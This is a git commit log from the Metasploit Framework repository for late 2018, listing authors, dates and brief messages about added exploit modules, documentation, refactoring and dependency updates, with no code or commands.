Land #10572 eaton ssh private key scanner
2018-11-15 17:16:36 -05:00
h00die
de014f0599
remove variable only used once
2018-11-15 17:14:13 -05:00
h00die
17b37b2ad9
md syntax
2018-11-15 17:12:47 -05:00
h00die
8b4cf2c3e2
Merge branch 'master' of https://github.com/rapid7/metasploit-framework into capture_docs2
2018-11-15 17:02:50 -05:00
h00die
a82d71356b
more capture docs
2018-11-15 17:02:44 -05:00
h00die
3d53170694
fail_with instead of error and return
2018-11-15 17:01:52 -05:00
Carsten Maartmann-Moe
680393d4d6
Refined check method to actually verify vulnerability
2018-11-15 22:31:31 +01:00
Metasploit
39221ea9ad
Weekly dependency update
2018-11-15 10:09:38 -08:00
Tim W
420be60900
add CVE-2018-4237
2018-11-15 08:48:10 +08:00
Tim W
99ae214575
add binaries
2018-11-15 08:46:24 +08:00
Tim W
2c30459a1b
add CVE-2018-4233 and CVE-2018-4404
2018-11-15 08:44:18 +08:00
Christopher Lee
38bea6c29c
Added msmailprobe to msf
2018-11-14 16:15:11 -06:00
Metasploit
969f38e265
automatic module_metadata_base.json update
2018-11-14 11:29:52 -08:00
Chris Higgins
4987f67b9b
Land #10925 , smb_login error/status message
2018-11-14 13:19:04 -06:00
Metasploit
0c544e888b
automatic module_metadata_base.json update
2018-11-14 10:58:40 -08:00
Jacob Robles
795aa3c99c
Land #10828 , git submodule url exec CVE-2018-17456
2018-11-14 12:39:13 -06:00
Julien Legras
02f2a2828e
Fix references CVE and WPVDB
2018-11-14 18:19:12 +01:00
Julien Legras
3daec992c8
Fix indentation
2018-11-14 18:08:31 +01:00
Jacob Robles
798d3156bc
Print git command for module
2018-11-14 10:57:36 -06:00
Julien Legras
b9348bd579
Added the CVE number in the references
2018-11-14 16:52:57 +01:00
Julien Legras
5f9570cbcf
Added WordPress Duplicator <= 1.2.40 and documentation
2018-11-14 16:39:42 +01:00
Green-m
f43aaac290
Clean code.
2018-11-14 16:48:39 +08:00
Aaron Ringo
4fc047db87
Added advanced option to check console lock on linux systems, default true & updated docs
2018-11-13 22:33:12 -06:00
Green-m
7cc4d09a92
Clean code.
2018-11-14 10:35:38 +08:00
Metasploit
09a3748498
automatic module_metadata_base.json update
2018-11-13 13:44:47 -08:00
Shelby Pace
1494ea5678
Land #9631 , add Jira plugin upload module
2018-11-13 15:32:47 -06:00
Shelby Pace
5e85683228
removed to_s from string
2018-11-13 15:28:55 -06:00
BrianWGray
f95573cf37
modify scenario content to correct example ip addresses
2018-11-13 16:24:27 -05:00
BrianWGray
3849d5de18
resolve description update request
2018-11-13 16:21:43 -05:00
Shelby Pace
ac8932c144
update 9631 to a current branch
2018-11-13 15:15:25 -06:00
Alex Gonzalez
da134f06e3
Updated check method
...
Fixed check method and redundant variable declarations
2018-11-13 16:01:40 -05:00
Thomas Labadie
bc32a16b8f
Added module documentation
2018-11-13 20:03:42 +01:00
Brent Cook
f2712ecdf6
Land #10607 , Add External Module: office365userenum.py
2018-11-13 10:57:05 -06:00
christopher lee
97ee965c6e
Landing #10884 - Add JSON-RPC Client
2018-11-13 08:31:55 -06:00
Metasploit
881132d72f
automatic module_metadata_base.json update
2018-11-13 00:36:51 -08:00
Green-m
7a4770790c
Land #10938 , add docs for modules and fix bug.
...
Add docs for auxiliary module http_basic/imap/mysql, and fix a bug
in modules/auxiliary/server/capture/mysql.rb
2018-11-13 16:22:03 +08:00
Matthew Kienow
2571c8cd86
Use data_service_operation block to perform work
2018-11-12 23:45:29 -05:00
Jeffrey Martin
d2a78cecd0
improvements to code commente and floe
2018-11-12 17:31:43 -06:00
thomas.labadie
11a2fa7f0d
Space at EOL removed from description
2018-11-13 00:23:21 +01:00
thomas.labadie
9d1554498d
WP GDPR Compliance plugin exploit - privsec to admin registering
2018-11-12 23:33:47 +01:00
Brent Cook
a58444fd38
Land #10951 , prepend python and go paths when running external modules
2018-11-12 16:17:07 -06:00
Aaron Ringo
538055c406
Initial documentation for Xorg Privesc Module
...
killed white spaces
2018-11-12 15:44:13 -06:00
Carsten Maartmann-Moe
541283a4dd
Tidied up set_payload
2018-11-12 20:45:49 +01:00
Jacob Robles
1b44fd0ade
Remove conditional for path
2018-11-12 11:05:40 -06:00
Jacob Robles
a80ac67373
Prepend GO path
2018-11-12 11:03:19 -06:00
Jacob Robles
8dc974b51e
Prepend python path
2018-11-12 07:58:43 -06:00
Brendan Coles
0bdab320f7
Remove useless variable declaration
...
Co-Authored-By: carmaa <carsten@carmaa.com >
2018-11-12 12:04:22 +01:00
Green-m
3be917d0e4
Add doc for exploit module spark_unauth_rce.
2018-11-12 17:08:36 +08:00
Green-m
388aebc335
Add exploit module for spark unauthenticated rce.
2018-11-12 17:07:50 +08:00
Imran E. Dawoodjee
16d146fd59
Fixing indentation.
2018-11-12 13:24:00 +08:00
Imran E. Dawoodjee
3e4df06500
Some more modifications
...
Placed contents of request_post into execute_command
Randomized fingerprint with rand_text_alpha(12)
Spaces at EOL fixed
Normalized target URI
2018-11-12 13:04:42 +08:00
Imran E. Dawoodjee
818cb37aca
Implemented changes recommended by @bcoles.
2018-11-12 12:26:23 +08:00
Carsten Maartmann-Moe
e06af184c8
Tidy check method
2018-11-11 22:53:13 +01:00
Carsten Maartmann-Moe
8894af58de
serialized, not deserialized...
2018-11-11 22:47:57 +01:00
Carsten Maartmann-Moe
1e8fbc3a1b
Fixed indentation and added a status message printout when exploiting
2018-11-11 22:37:42 +01:00
Carsten Maartmann-Moe
cf5ca78350
Added YSOSerial payload generating string
2018-11-11 22:15:30 +01:00
Aaron Ringo
ef7fc783be
Added Selinux check, changed version check, retested on all platforms
2018-11-11 12:34:30 -06:00
Brendan Coles
a5429d21a6
Update modules/exploits/multi/local/xorg_x11_suid_server.rb
...
Co-Authored-By: aringo <ringo.aaron@gmail.com >
2018-11-11 07:39:32 -06:00
Brendan Coles
2a7b18bcbf
Update modules/exploits/multi/local/xorg_x11_suid_server.rb
...
Co-Authored-By: aringo <ringo.aaron@gmail.com >
2018-11-11 07:38:42 -06:00
Brendan Coles
40bc44d2b6
Add ForceExploit to Linux local modules
2018-11-11 09:37:56 +00:00
Aaron Ringo
e6f548c5f4
added meterpreter, took out in session, moved to exploits/multi/local
2018-11-11 01:43:36 -06:00
Brendan Coles
3770f121fe
Changing result parsing style
...
Co-Authored-By: carmaa <carsten@carmaa.com >
2018-11-11 08:07:37 +01:00
Brendan Coles
951d3e1117
Changing result parsing style
...
Co-Authored-By: carmaa <carsten@carmaa.com >
2018-11-11 08:07:32 +01:00
Brendan Coles
446eec00b3
Remove disconnect
...
Co-Authored-By: carmaa <carsten@carmaa.com >
2018-11-11 08:04:43 +01:00
Brendan Coles
189c203e3d
Remove handler
...
Co-Authored-By: carmaa <carsten@carmaa.com >
2018-11-11 08:04:34 +01:00
Brendan Coles
e5df5494d9
Remove connect
...
Co-Authored-By: carmaa <carsten@carmaa.com >
2018-11-11 08:04:22 +01:00
Carsten Maartmann-Moe
5a978dca2e
Removed architecture to make payload selection work
2018-11-10 23:00:54 +01:00
Carsten Maartmann-Moe
cbaacf696a
Add exploit module for CVE-2017-12557
...
HP Intelligent Management Java Deserialization RCE (Windows)
2018-11-10 22:36:43 +01:00
BrianWGray
1c2da8a5c8
correct trailing space issue
2018-11-10 15:40:03 -05:00
BrianWGray
129feb94ff
Alterations made based on requested changes
2018-11-10 15:12:47 -05:00
BrianWGray
33f624bbb2
Module updated to reflect requested changes
2018-11-10 14:36:06 -05:00
Brent Cook
7ee70f5655
Land #10945 , Ensure sessions --up shows only services which are up
2018-11-10 10:12:44 -07:00
Metasploit
eddcfa13de
automatic module_metadata_base.json update
2018-11-10 09:07:12 -08:00
Brendan Coles
1f14a9846d
Land #10767 , Add Cisco Prime Infrastructure remote root exploit
2018-11-10 17:08:16 +00:00
Brendan Coles
e231fd0623
next if onlyup
2018-11-10 16:21:06 +00:00
BrianWGray
c7849eb37b
Eaton XPert Backdoor documents
2018-11-10 10:09:43 -05:00
h00die
8ea4ed6314
land #10927 proper identification of centos/alpine linux in post libs
2018-11-10 08:33:35 -05:00
h00die
bf15fa0770
hash not password for mysql
2018-11-09 18:32:21 -05:00
h00die
c31c75c790
fix mysql capture store creds
2018-11-09 18:18:50 -05:00
h00die
b78e103bc0
rb to md
2018-11-09 05:18:27 -05:00
Green-m
981893a8bf
Merge branch 'master' into sparkrce
2018-11-09 14:12:33 +08:00
Aaron Ringo
b93f14a5c2
Fixed some PR feedback, still working on adding meterpreter and cleanup
2018-11-08 22:10:46 -06:00
Aaron Ringo
3f3bee6a79
added version check
2018-11-08 22:08:11 -06:00
Aaron Ringo
012c8a450f
Feedback from PR work cont. changed loop, formatting errors, options
2018-11-08 22:08:11 -06:00
Aaron Ringo
adb8be7f9f
includes partially implemented feedback from PR
2018-11-08 22:08:11 -06:00
Brendan Coles
18bf58e547
Update modules/exploits/openbsd/local/xorg_x11_suid_server.rb
...
Co-Authored-By: aringo <ringo.aaron@gmail.com >
2018-11-08 22:08:11 -06:00
Brendan Coles
8c4eb5f741
Update modules/exploits/openbsd/local/xorg_x11_suid_server.rb
...
Co-Authored-By: aringo <ringo.aaron@gmail.com >
2018-11-08 22:08:11 -06:00
Brendan Coles
84b79e6787
Update modules/exploits/openbsd/local/xorg_x11_suid_server.rb
...
Co-Authored-By: aringo <ringo.aaron@gmail.com >
2018-11-08 22:08:11 -06:00
Aaron Ringo
7feb960d9b
Initial add of Xorg SUID privesc
2018-11-08 22:08:11 -06:00
h00die
792b451f40
capture server docs and updates
2018-11-08 21:23:27 -05:00
Jeffrey Martin
5ba44ff12d
add default service mapping to imports
2018-11-08 18:14:22 -06:00
root
f192b50a8e
Catch exceptions
2018-11-08 18:47:56 +00:00
root
1fbf779f9c
Added more verbose output
2018-11-08 18:35:15 +00:00
Metasploit
77736cc4e2
Weekly dependency update
2018-11-08 10:06:27 -08:00
root
88e4d384d2
increased default timeout value
2018-11-08 16:13:55 +00:00
Metasploit
35597ad69e
automatic module_metadata_base.json update
2018-11-07 05:57:25 -08:00
h00die
3c6f2157ae
land #10895 fix vmware_http_login undefined variables
2018-11-07 08:45:51 -05:00
h00die
ce1f14ab91
http_basic capture docs
2018-11-07 08:32:03 -05:00
Metasploit
ea1ef7943d
automatic module_metadata_base.json update
2018-11-06 22:38:37 -08:00
Brendan Coles
641d546c38
Land #10917 , Add support for unix/cmd payloads to multi/ssh/sshexec
2018-11-07 06:39:13 +00:00
Aaron Ringo
9dd0f2a5ea
modified to allow unix cmd for testing and other targets not supported, took out interpolation,notes section re-added
...
added notes section back in
2018-11-06 20:45:20 -06:00
christopher lee
f28042cffc
Landing #10932 , Cleanup go module loader (lib/msf/core/modules/external/go/src/metasploit/module.go)
2018-11-06 14:21:41 -06:00
Christian Mehlmauer
7127792fcf
tidy up external go modules
2018-11-06 20:23:10 +01:00
christopher lee
69a1dc9fb2
Land #10758 , Golang module support
2018-11-06 12:40:20 -06:00
Brent Cook
ab8ca0581e
remove test module
2018-11-06 11:14:06 -06:00
Brent Cook
407a9f3de1
remove debug
2018-11-06 11:12:02 -06:00
Brent Cook
76531cb818
gofmt all the things
2018-11-06 11:12:02 -06:00
Brent Cook
97bee891ce
remove some ruby vestiges
2018-11-06 11:12:02 -06:00
Brent Cook
df43b372fa
initial golang module support
2018-11-06 11:12:02 -06:00
Brent Cook
cfbc0a9a0c
properly bubble up errors on external module load
2018-11-06 11:12:02 -06:00
Brent Cook
b370477326
add example of launching a go 'script'
2018-11-06 11:12:02 -06:00
Brent Cook
dea460c813
golang module loader support
2018-11-06 11:12:02 -06:00
Brendan Coles
08d4e2265d
Add CentOS and Alpine Linux detection to Linux system lib
2018-11-06 03:16:07 +00:00
Brendan Coles
a8ff9b27f7
Land #10823 , store host system data from post/system libs in database
2018-11-06 02:54:02 +00:00
h00die
e7f5c0cfbf
additional solaris-ish regexes
2018-11-05 19:25:08 -05:00
Metasploit
4f9be9a7f7
automatic module_metadata_base.json update
2018-11-05 15:56:07 -08:00
Jacob Robles
682433f62e
smb_login error/status message
2018-11-05 17:49:58 -06:00
William Vu
c4d6f8e206
Land #10924 , rename hash to generate_process_hash
...
Similar to #6957 .
2018-11-05 17:44:04 -06:00
Jeffrey Martin
dd57b27652
Rename hash to generate_process_hash
...
In the interest of compatibility this uses a more descriptive name for
the process hash creation method instead of overriding ruby's hash method.
See https://docs.ruby-lang.org/en/2.0.0/Hash.html
2018-11-05 17:16:16 -06:00
Metasploit
5a994b938d
automatic module_metadata_base.json update
2018-11-05 14:04:13 -08:00
h00die
aff4ef0752
land #10912 moving polycom exploit to misc folder
2018-11-05 16:54:24 -05:00
Metasploit
456d6fa095
automatic module_metadata_base.json update
2018-11-05 13:28:17 -08:00
Shelby Pace
0c38babb9e
Land #10874 , rm size restriction from pyld_inject
2018-11-05 15:16:40 -06:00
bwatters-r7
f185c06204
Land 10794, Add support for ms17_010_eternalblue_win8 ProcessName option
...
Merge branch 'land-10794' into upstream-master
2018-11-05 15:08:59 -06:00
Metasploit
0216e51f89
automatic module_metadata_base.json update
2018-11-05 12:28:12 -08:00
bwatters-r7
7ca2311325
Land #10792 , Add support for ms17_010_eternalblue ProcessName option
...
Merge branch 'land-10792' into upstream-master
2018-11-05 14:19:10 -06:00
bwatters-r7
1f0941101f
shut up, msftidy
2018-11-05 14:13:33 -06:00
bwatters-r7
4f2ba46125
Stop some of the rubocop carnage
2018-11-05 14:11:24 -06:00
Metasploit
628e66070e
automatic module_metadata_base.json update
2018-11-05 09:45:42 -08:00
Wei Chen
a32d8083f0
Land #10847 - Add blueimp's jQuery (Arbitrary) File Upload
...
CVE-2018-9206
2018-11-05 11:37:20 -06:00
Metasploit
b1b5e78c61
automatic module_metadata_base.json update
2018-11-05 09:23:30 -08:00
Brent Cook
cb229411bc
Land #10888 , Fix Net::SSH::CommandStream session open failure
2018-11-05 11:15:09 -06:00
bwatters-r7
5ec155fd44
Changed some options to advanced
2018-11-05 09:59:17 -06:00
Metasploit
9235c1b2ef
automatic module_metadata_base.json update
2018-11-04 22:27:59 -08:00
Green-m
708d067e65
Land #10919 , Add doc for ftp capture module.
...
And add a custom option banner for it.
2018-11-05 14:15:52 +08:00
l9c
ff07289132
better style according to the review
2018-11-05 13:46:36 +08:00
Metasploit
495a179063
automatic module_metadata_base.json update
2018-11-04 19:27:46 -08:00
Green-m
3db19564ad
Landing #10910 , update writable? method in modules.
2018-11-05 11:11:50 +08:00
h00die
f3fb1a776f
fix md format
2018-11-04 21:51:04 -05:00
h00die
04218cff39
ftp capture
2018-11-04 21:46:01 -05:00
Pedro Ribeiro
7464d81c01
Add warning about JSP deletion
2018-11-05 00:52:34 +09:00
Kevin Kirsche
ad58930e9b
Dump formats when invalid format is selected
2018-11-04 09:25:37 -05:00
Kevin Kirsche
9f77966ec9
Revert downcase throughout, instead use single downcase within option parsing
2018-11-04 08:57:45 -05:00
Shaksham Jaiswal
e3246a9b88
made fixes
2018-11-04 18:07:43 +05:30
Brendan Coles
fdf45f269b
Move polycom_hdx_auth_bypass to exploit/unix/misc/
2018-11-04 06:14:26 +00:00
Brendan Coles
c3080d69f2
Use writable? method for local modules
2018-11-04 05:28:32 +00:00
h00die
7326453024
Merge branch 'master' of https://github.com/rapid7/metasploit-framework into hosts_data
2018-11-03 17:06:00 -04:00
h00die
ca0249c539
enhancements to solaris host info db regex
2018-11-03 17:05:47 -04:00
Brent Cook
92dec1ecf8
Land #10843 , change docker root exec behaviour
2018-11-02 14:50:39 -05:00
Metasploit
f60ff5af39
automatic module_metadata_base.json update
2018-11-02 12:46:55 -07:00
bwatters-r7
4ac9fe5c9f
Land #10834 , For real this time
...
Merge branch 'land-10834' into upstream-master
2018-11-02 14:35:00 -05:00
bwatters-r7
15cc699071
Land #10834 , messagebox payload for x64
...
Merge branch 'land-10834' into upstream-master
2018-11-02 14:17:59 -05:00
Jacob Robles
6bc4b71ca3
Land #10873 , Add notes to exploit modules
2018-11-02 14:11:11 -05:00
Metasploit
13c8214728
automatic module_metadata_base.json update
2018-11-02 11:59:26 -07:00
Spencer McIntyre
7faa775b55
Remove the now unnecessary DisableNops option
2018-11-02 14:57:41 -04:00
Jacob Robles
2d3403cdd2
Land #10901 , Add modules for iOS images and texts
2018-11-02 13:46:58 -05:00
Metasploit
dfd905fdca
Weekly dependency update
2018-11-02 10:14:13 -07:00
Metasploit
1070704cbb
automatic module_metadata_base.json update
2018-11-02 09:32:38 -07:00
Brent Cook
86469cc5a0
Land #10836 , Add Morris worm sendmail debug mode exploit
2018-11-02 11:17:33 -05:00
Brent Cook
1d81f3764f
Land #10700 , Add Morris worm fingerd exploit and VAX reverse shell
2018-11-02 11:16:46 -05:00
pasta
6752bdd536
space's purge
2018-11-02 11:27:53 -03:00
Jeffrey Martin
fbe8050283
Land #10900 , Turn off thread exception reporting only if it's an available method
2018-11-02 08:34:34 -05:00
Shelby Pace
0d8c8da470
remove useless method wrappers, fix indentation
2018-11-02 08:01:15 -05:00
Tim W
c502148730
Land #10897 , add api key to google geolocation recon script
2018-11-02 14:16:39 +08:00
William Vu
e9b3502f98
Fix Net::SSH::CommandStream session open failure
...
I suspected this might be a problem for libssh servers.
2018-11-02 01:08:05 -05:00
William Vu
8372007576
Prefer method_defined? for the class
2018-11-02 00:34:17 -05:00
William Vu
c3311da6e2
Be specific about report_on_exception
2018-11-02 00:24:16 -05:00
Christopher Krause
ea0ba6b7a7
fix: google geolocation recon script
2018-11-02 05:52:54 +01:00
William Vu
0592420ea4
Fix thread exception reporting for Ruby 2.3.8
...
Thread::report_on_exception doesn't exist.
2018-11-01 18:59:23 -05:00
Brent Cook
7cf384405e
only change thread behavior if on Ruby 2.5 or above
2018-11-01 18:24:12 -05:00
Brent Cook
4dcb31f26b
only turn off thread reporting if it is already on
2018-11-01 18:08:52 -05:00
Brent Cook
57dbe95c04
Land #10899 , Preserve Ruby 2.4.x and earlier thread exception reporting behavior
2018-11-01 17:45:13 -05:00
William Vu
0b682b6300
Preserve old thread exception reporting behavior
...
https://ruby-doc.org/core-2.5.0/Thread.html#method-c-report_on_exception
2018-11-01 17:30:49 -05:00
Jeffrey Martin
322b47b515
Land #10898 , pin concurrent-ruby to 1.0.5
2018-11-01 16:55:21 -05:00
Shelby Pace
4a8c1ef8f4
changed where pwd was getting executed
2018-11-01 16:06:08 -05:00
Shelby Pace
036ac39270
added docs for the two modules
2018-11-01 15:49:44 -05:00
Shelby Pace
a1abebedd1
changed location of some code
2018-11-01 15:29:53 -05:00
Shelby Pace
2a2b1a47cc
updated block size, title
2018-11-01 15:00:38 -05:00
Brent Cook
7baa35375a
pin concurrent-ruby to 1.0.5
...
1.1.0 is not available yet
2018-11-01 14:14:00 -05:00
Metasploit
7d69eeed46
Weekly dependency update
2018-11-01 10:08:06 -07:00
Brendan Coles
a80e571355
Update style
2018-11-01 07:26:12 +00:00
Brendan Coles
ca16e93200
rescue => e
2018-11-01 07:24:28 +00:00
Brendan Coles
ffecd189ee
Report rhost, as ip is undefined
2018-11-01 07:23:44 +00:00
Metasploit
6f47f13c67
automatic module_metadata_base.json update
2018-10-31 14:57:40 -07:00
bwatters-r7
114a8127e8
Land #10858 , bypassuac_eventvwr optimizations - reduce created processes and artifacts
...
Merge branch 'land-10858' into upstream-master
2018-10-31 16:44:32 -05:00
bwatters-r7
af7a7d586b
Add validation check to make sure x64 remote host and a x86 session
...
cannot select an x64 target.
2018-10-31 16:31:52 -05:00
Shelby Pace
7e61ec53da
downloading images by modifying block size
2018-10-31 14:36:45 -05:00
pasta
a7bb211c20
add OptEnum to filter icon type
2018-10-30 20:30:49 -03:00
pasta
3fb047c0f1
29 rubocop's issues fixed
2018-10-30 19:47:28 -03:00
Shelby Pace
b57b269df4
storing images
2018-10-30 15:43:25 -05:00
pasta
c8740a1b0f
deleted spaces at EOL
2018-10-30 15:09:39 -03:00
Metasploit
cf1c93402e
automatic module_metadata_base.json update
2018-10-30 08:06:38 -07:00
bwatters-r7
08ec8e1ef9
Land #10553 , add x86/xor_dynamic and x64/xor_dynamic encoders
...
Merge branch 'land-10553' into upstream-master
2018-10-30 09:56:15 -05:00
Fabien
0cf8563fae
Update bypassuac_computerDefault.rb
2018-10-30 11:37:05 +01:00
Fabien
bf295ecce5
Update bypassuac_computerDefault.rb
2018-10-30 11:36:38 +01:00
Matthew Kienow
06966312c1
Remove unused code
2018-10-30 00:40:33 -04:00
Matthew Kienow
04e4c2941c
Remove unnecessary require
2018-10-30 00:19:21 -04:00
Matthew Kienow
3c3022902f
Add JSON-RPC Client
2018-10-30 00:15:58 -04:00
Matthew Kienow
c381fe7f74
Add dependency for JSON-RPC client
2018-10-29 23:44:23 -04:00
Matthew Kienow
24b1898e21
Fix comment
2018-10-29 23:27:50 -04:00
Matthew Kienow
b2559ae4c9
Add runtime dependency for JSON-RPC client
2018-10-29 23:27:38 -04:00
Luisco100
7f26364d5b
Changes suggested by OJ
2018-10-29 22:01:47 -05:00
Shelby Pace
d1da7d84db
added metadata and main function
2018-10-29 15:26:26 -05:00
pasta
4960e1b8c8
modification to accomplish the guideline and license changed to GPL
2018-10-29 14:11:21 -03:00
Elazar Broad
6fe7bb0bb6
Increase sleep time to 10 seconds
...
Increase the wait time before removing the registry key - allows the payload to spawn successfully on slow systems.
2018-10-29 12:55:03 -04:00
Quentin Kaiser
1d337e9987
No debug.
2018-10-29 13:46:07 +01:00
Quentin Kaiser
e76f3ab22f
No debug.
2018-10-29 13:44:16 +01:00
root
b705059bca
Added channel name length check
2018-10-28 20:18:58 +00:00
pkb1s
22f032da9e
Added documentation
2018-10-28 19:49:13 +00:00
root
60aa1181ca
Add IBM WebSphere MQ Login Bruteforce module
...
Used to bruteforce usernames that can connect to the Queue Manager. The name of a valid server-connection channel without SSL configured is required, as well as a list of usernames to try.
* IBM Downloads page: https://developer.ibm.com/messaging/mq-downloads/
* Tested on IBM MQ 7.5, 8 and 9
* Usage:
* Download and install MQ Server from the above link
* Create a new Queue Manager
* Create a new channel (without SSL)
* Allow remote connections for admin users by removing the CHLAUTH record that denies all users or configure access for a specific username.
* Run the module
2018-10-28 19:29:45 +00:00
pkb1s
aba72ea276
Added example output to documentation
2018-10-28 18:35:20 +00:00
pkb1s
92d5ab469c
Update ibm_mq_channel_brute.rb
2018-10-28 18:21:54 +00:00
Metasploit
39aff8dd7b
automatic module_metadata_base.json update
2018-10-28 11:18:30 -07:00
Brendan Coles
1c340f8202
Land #10853 , Add universal targeting to Mercury/32 IMAP LOGIN exploit
2018-10-28 18:17:46 +00:00
Brendan Coles
296d9a08eb
Removing unnecessary line
...
Co-Authored-By: pkb1s <petkoutroubis@gmail.com >
2018-10-28 18:10:51 +00:00
Brendan Coles
3e3be18189
Using print_line instead of print("\n")
...
Co-Authored-By: pkb1s <petkoutroubis@gmail.com >
2018-10-28 18:10:14 +00:00
Brendan Coles
f8c829dc81
Using print_line instead of print("\n")
...
Co-Authored-By: pkb1s <petkoutroubis@gmail.com >
2018-10-28 18:10:09 +00:00
Brendan Coles
67e8a7ce13
Changing CHANNELS_FILE option type
...
Co-Authored-By: pkb1s <petkoutroubis@gmail.com >
2018-10-28 18:08:12 +00:00
Brendan Coles
f51a95465e
Changed http to https in metasploit url
...
Co-Authored-By: pkb1s <petkoutroubis@gmail.com >
2018-10-28 18:07:20 +00:00
pkb1s
90bcfab263
Added example output to documentation
2018-10-28 18:02:07 +00:00
pkb1s
a6135e3738
Added "increase timeout" message
2018-10-28 17:48:15 +00:00
pkb1s
1ef9a2f901
Create ibm_mq_enum.md
2018-10-28 17:25:24 +00:00
pkb1s
ba204b9854
Create ibm_mq_channel_brute.md
2018-10-28 17:13:25 +00:00
root
02d9d0f006
Add IBM WebSphere MQ Queue Manager Name and MQ Version Enumeration module
...
Run this auxiliary against the listening port of an IBM MQ Queue Manager to identify its name and version. Any channel type can be used to get this information as long as the name of the channel is valid.
* IBM Downloads page: https://developer.ibm.com/messaging/mq-downloads/
* Tested on IBM MQ 7.5, 8 and 9
* Usage:
* Download and install MQ Server from the above link
* Create a new Queue Manager
* Create a new channel (without SSL)
* Run the module
2018-10-28 16:09:17 +00:00
root
a23cb7dfe8
Add IBM WebSphere MQ Channel Name Bruteforce module
...
Uses a dictionary to bruteforce MQ channel names. For all identified channels it also returns if SSL is used and whether it is a server-connection channel.
* IBM Downloads page: https://developer.ibm.com/messaging/mq-downloads/
* Tested on IBM MQ 7.5, 8 and 9
* Usage:
** Download and install MQ Server
** Create a Queue Manager
** Create a new channel (without SSL)
** Run the module
2018-10-28 15:22:27 +00:00
kr3bz
370bcaf8d8
Update mercury_login.md
2018-10-28 09:49:15 +01:00
Brendan Coles
a34310095c
Update modules/exploits/windows/imap/mercury_login.md
...
Co-Authored-By: kr3bz <44395414+kr3bz@users.noreply.github.com >
2018-10-28 09:41:29 +01:00
Brendan Coles
bfd3a17c0e
Update modules/exploits/windows/imap/mercury_login.rb
...
Co-Authored-By: kr3bz <44395414+kr3bz@users.noreply.github.com >
2018-10-28 09:41:14 +01:00
kr3bz
5efbefdaea
Update mercury_login.md
2018-10-28 09:37:47 +01:00
kr3bz
2839a73cbd
Update mercury_login.rb
2018-10-28 09:35:15 +01:00
kr3bz
37bf37f08e
Update mercury_login.md
2018-10-28 07:34:00 +01:00
Spencer McIntyre
52fee303d4
Remove the size restriction from payload_inject
2018-10-27 21:26:09 -04:00
Spencer McIntyre
caf76a6555
Add applicable notes to my exploit modules
2018-10-27 20:54:14 -04:00
kr3bz
c61737bb18
Update mercury_login.md
2018-10-27 20:52:54 +02:00
kr3bz
239632ca03
Update mercury_login.md
2018-10-27 20:52:24 +02:00
kr3bz
3cf8a01b55
Update mercury_login.md
2018-10-27 20:51:31 +02:00
Patrick
3c0ee6ba89
Issue #6100 : Remove dump_pad_nops calls in msfvenom
2018-10-26 16:12:32 -05:00
Patrick
ffc193f49b
Issue #6100 : Finalized changes to pass rake spec Msf::PayloadGenerator
2018-10-26 13:06:37 -05:00
James Barnett
bd7c867485
Land #10862 , fix issue with session reporting when DB is disabled
2018-10-26 10:58:06 -05:00
Brendan Coles
965c2d5c01
Update modules/exploits/windows/imap/mercury_login.rb
...
Co-Authored-By: kr3bz <racic.ivan@gmail.com >
2018-10-26 13:37:37 +02:00
Metasploit
e60e32c315
Weekly dependency update
2018-10-25 21:04:35 -07:00
Green-m
4b49f5b48e
Merge pull request #3 from mkienow-r7/pr10862-enhance-session-report-fix-2
...
Enhance session report fix 2
2018-10-26 11:33:13 +08:00
Matthew Kienow
eb9dd311ce
Add check that data service is active
2018-10-25 23:07:31 -04:00
Green-m
0e29035c43
Merge pull request #2 from mkienow-r7/pr10862-enhance-session-report-fix
...
Enhance session report fix
2018-10-26 10:24:35 +08:00
Matthew Kienow
2f8aacbf8d
Remove debug output
2018-10-25 14:44:11 -04:00
Matthew Kienow
64f8852797
Use data_service_operation block to perform work
...
This fixes the session report issue when the database is disabled,
because no exceptions are thrown from the DataProxy under these
conditions.
2018-10-25 14:38:13 -04:00
Metasploit
eb5ab55421
automatic module_metadata_base.json update
2018-10-25 11:31:34 -07:00
Matthew Kienow
7f8aeeb498
Raise RuntimeError rather than Exception
2018-10-25 14:29:24 -04:00
Matthew Kienow
8e2d6a62b1
Add block process data service operation method
2018-10-25 14:24:47 -04:00
bwatters-r7
b4c005c4d4
Land #10561 , Add Windows local privilege escalation - CVE-2018-0824
...
Merge branch 'land-10561' into upstream-master
2018-10-25 13:22:31 -05:00
Metasploit
395a0cc87d
Weekly dependency update
2018-10-25 10:08:43 -07:00
Fabien
6b4e132f35
Create bypassuac_computerDefault.rb
2018-10-25 16:58:56 +02:00
Fabien
280a714faf
Delete bypassuac_computerDefault.rb
2018-10-25 16:58:34 +02:00
Metasploit
f30b9c042e
automatic module_metadata_base.json update
2018-10-25 03:38:02 -07:00
William Vu
256e27c172
Land #10866 , libssh_auth_bypass check updates
2018-10-25 05:20:45 -05:00
William Vu
e1a7c35834
Clean up check_banner
2018-10-25 05:20:20 -05:00
Green-m
f90992dc08
Fix typo.
2018-10-25 17:55:01 +08:00
Green-m
760b14e71d
Update the version match code.
2018-10-25 15:33:54 +08:00
Wei Chen
6920470f99
Land #10821 , Enhance windows compiler w/ new functions
2018-10-24 20:28:36 -05:00
Wei Chen
06e1d16c60
Rm _snprintf because it causes sessions to fail (due to a crash)
2018-10-24 17:50:10 -05:00
Metasploit
59ec60e49c
automatic module_metadata_base.json update
2018-10-24 14:28:47 -07:00
Wei Chen
2ab9a003d4
Land #10864 , Add Cisco WebEx RCE Modules
2018-10-24 16:20:00 -05:00
Wei Chen
f52cbdf9d7
Change option types
2018-10-24 16:18:17 -05:00
Wei Chen
4ec7e41f9e
Change option type
2018-10-24 16:16:03 -05:00
Wei Chen
e84ba62740
Cosmetic changes for local/webexec
2018-10-24 16:13:47 -05:00
h00die
b875a102fe
remove report_host data for another PR
2018-10-24 16:26:38 -04:00
Shelby Pace
6f58a15e00
removed template line
2018-10-24 15:14:15 -05:00
Brent Cook
4dd2147d60
Land #10857 , ensure os_flavor can be supplied for non Windows OS
2018-10-24 14:28:32 -05:00
Elazar Broad
16d633fabd
Remove spaces before EOL
2018-10-24 11:04:41 -04:00
Shelby Pace
cecc7177f7
added documentation for modules
2018-10-24 09:47:05 -05:00
Shelby Pace
3729e9ed7b
added description, references
2018-10-24 09:46:00 -05:00
Fabien
9f0c8a0929
Create bypassuac_computerDefault.rb
2018-10-24 15:06:07 +02:00
kr3bz
2e2d742ae7
Added updated mercury_login
...
Added additional space for the payload, made recommended changes, msftidy does not produce errors, readded null byte as a badchar.
2018-10-24 11:08:37 +02:00
Green-m
3c5aa93a0d
Fix for style consistency.
2018-10-24 15:17:37 +08:00
Green-m
129425ca94
Fix session report bug when database disabled.
